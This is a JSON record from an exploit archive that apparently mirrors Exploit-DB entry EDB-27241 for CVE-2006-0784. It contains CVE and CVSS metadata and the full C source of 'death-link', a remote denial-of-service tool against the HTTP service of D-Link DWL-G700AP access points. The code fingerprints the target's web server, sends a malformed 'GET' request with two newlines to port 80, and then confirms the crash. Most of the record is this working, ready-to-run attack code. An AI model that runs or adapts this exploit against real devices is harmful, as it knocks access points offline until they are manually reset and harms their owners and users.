{"exploit":{"id":"EDB-27241","name":"D-Link DWL-G700AP 2.00/2.01 - HTTPd Denial of Service (DoS)","description":"D-Link DWL-G700AP 2.00/2.01 - HTTPd Denial of Service (DoS)","cves":["CVE-2006-0784"],"author":"l0om","published":"2006-02-16","platform":"hardware","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/27241","path":"exploits/hardware/dos/27241.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-27241.c","vulnerabilities":[{"id":"CVE-2006-0784","state":"PUBLISHED","title":null,"titleSource":null,"description":"D-Link DWL-G700AP with firmware 2.00 and 2.01 allows remote attackers to cause a denial of service (CAMEO HTTP service crash) via a request composed of \"GET\" followed by a space and two newlines, possibly triggering the crash due to missing arguments.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-0784","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-0784"},"updatedAt":"2024-08-07T16:48:55.971Z","retrievedAt":"2026-11-27T07:10:03.492Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-27241.png?v=2","url":"https://exploitbin.com/exploits/EDB-27241","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-27241/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-27241/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2006/https://www.securityfocus.com/bid/16690/info\n\nD-Link DWL-G700AP HTTPD is prone to a remote denial-of-service vulnerability. This issue is due to a failure in the 'httpd' service to properly handle malformed data.\n\nAn attacker can exploit this issue to crash the affected webserver, effectively denying service to legitimate users. The affected device must be manually reset to restart the affected service.\n\nThis issue is reported to affect firmware versions 2.00 and 2.01; other firmware versions may also be vulnerable.\n\n/*\n                 death-link.c\n                 ------------------------\n                 written by l0om\n                                 WWW.EXCLUDED.ORG\n                 ------------------------\n                 exploit tested on firmware: v2.00 and the latest v2.01\n                 remote DoS exploit for the CAMEO-httpd which is running on the D-Link\n                 Accesspoint DWL-G700AP. After executing this the accesspoint cannot be\n                 configured anymore because the only way to administrate the AP is the\n                 administration with your browser. you have to reboot the box to get the\n                 httpd started again.\n\n                 have phun!\n\n                 // some greetings\n                 maximilian, Prof. J. Dealer, Theldens, Commander Jansen, ole, detach,\n                 mattball, molke, murfie, vy99\n                 excluded.org people, IT31 people\n\n                 // the guys who made exploiting possible with buying this AP\n                 joerres, hermanns, schubert\n\n*/\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <netinet/in.h>\n#include <sys/socket.h>\n\n#define                  DOSSTRING               \"GET \\n\\n\"\n#define                  TARGET                          \"CAMEO-httpd\"\n#define                  DESTPORT                80\n\nint alive(char *ip);\nint check_httpd(char *ip);\nvoid help(void);\nvoid header(void);\nint DoS(char *ip);\n\nint main(int argc, char **argv)\n{\n                 int fd, i, check = 0;\n                 char *ip = NULL;\n\n                 header();\n\n                 if(argc > 1)\n                                 for(i = 1; i < argc; i++)\n                                                 if(argv[i][0] == '-')\n                                                                 switch(argv[i][1]) {\n                                                                                 case 'o':\n                                                                                                 check = 2;\n                                                                                                 break;\n                                                                                 case 'c':\n                                                                                                 check = 1;\n                                                                                                 break;\n                                                                                 case 'h':\n                                                                                                 help();\n                                                                                                 break;\n                                                                                 default:\n                                                                                                 printf(\"\\t>> %s << unknown option\\n\",argv[i]);\n                                                                                                 exit(-1);\n                                                                 }\n                                                 else ip = argv[i];\n\n                 if(ip == NULL) help();\n\n                 if(check) {\n                                 printf(\"\\tchecking target... \"); fflush(stdout);\n                                 i = check_httpd(ip);\n                                 if(i <= 0) {\n                                                 printf(\"faild! \");\n                                                 if(!i) printf(\"invalid target webserver\\n\");\n                                                 else printf(\"webserver already dead?\\n\");\n                                                 exit(-1);\n                                 }\n                                 else printf(\"done! valid victim detected\\n\");\n                                 if(check == 2) return 0;\n                 }\n\n                 printf(\"\\tsending DoS... \"); fflush(stdout);\n                 if(DoS(ip) <= 0) {\n                                 printf(\"faild!\\n\");\n                                 return -1;\n                 } else printf(\"done!\\n\");\n\n                 sleep(1);\n                 printf(\"\\tchecking webserver status... \"); fflush(stdout);\n                 if(!alive(ip)) printf(\"%s DEAD\\n\",TARGET);\n                 else printf(\"%s on %s is still alive :( \\n\",TARGET,ip);\n\n                 return 0;\n}\n\nint check_httpd(char *ip)\n{\n                 int sockfd, nbytes, len, i = 0;\n                 char buf[500], pattern[] = TARGET, *ptr;\n                 struct sockaddr_in servaddr;\n\n                 if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n                                 perror(\"socket\");\n                                 exit(-1);\n                 }\n                 servaddr.sin_family = AF_INET;\n                 servaddr.sin_port = htons(DESTPORT);\n                 servaddr.sin_addr.s_addr = inet_addr(ip);\n\n                 if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)\n                                 return -1;\n\n                 if(!write(sockfd, \"GET / HTTP/1.0\\n\\n\", 16))\n                                 return 0;\n                 else nbytes = read(sockfd, buf, 500);\n\n                 len = strlen(pattern);\n                 ptr = buf;\n\n                 while(nbytes--) {\n                                 if(*ptr == pattern[i])\n                                                 i++;\n                                 else i = 0;\n                                 if(i == len) return 1;\n                                 else ptr++;\n                 }\n                 return 0;\n}\n\nint alive(char *ip)\n{\n                 int sockfd, nbytes, len, i = 0;\n                 char buf[500], pattern[] = TARGET, *ptr;\n                 struct sockaddr_in servaddr;\n\n                 if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n                                 perror(\"socket\");\n                                 exit(-1);\n                 }\n                 servaddr.sin_family = AF_INET;\n                 servaddr.sin_port = htons(DESTPORT);\n                 servaddr.sin_addr.s_addr = inet_addr(ip);\n\n                 if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)\n                                 return 0;\n                 else return 1;\n}\n\nint DoS(char *ip)\n{\n                 int sockfd, nbytes, len, i = 0;\n                 char buf[500], pattern[] = TARGET, *ptr;\n                 struct sockaddr_in servaddr;\n\n                 if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n                                 perror(\"socket\");\n                                 exit(-1);\n                 }\n                 servaddr.sin_family = AF_INET;\n                 servaddr.sin_port = htons(DESTPORT);\n                 servaddr.sin_addr.s_addr = inet_addr(ip);\n\n                 if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)\n                                 return 0;\n                 else return(write(sockfd, DOSSTRING, strlen(DOSSTRING)));\n}\n\nvoid help(void)\n{\n                 printf(\"\\tdeath-link [options] <ip-address>\\n\");\n                 printf(\"\\t-o: ONLY CHECK for valid target\\n\");\n                 printf(\"\\t-c: check for valid target\\n\");\n                 printf(\"\\t-h: help\\n\");\n                 exit(0);\n}\n\nvoid header(void)\n{\n                 printf(\"\\tdeath-link - written by l0om\\n\");\n                 printf(\"\\t     WWW.EXCLUDED.ORG\\n\");\n                 printf(\"\\tDoS %s D-Link DWL-G700AP\\n\\n\",TARGET);\n}","sha256":"9f9067392c83343568bb3f04cbdb17fbd602e8c9c1d754f29276a9973af84863","bytes":8152,"fetchedAt":"2026-11-27T07:10:00.265Z","encoding":"utf-8 (display only; download retains original bytes)"}